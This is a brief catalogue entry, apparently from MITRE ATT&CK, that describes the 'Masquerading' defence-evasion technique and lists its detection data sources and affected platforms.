Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre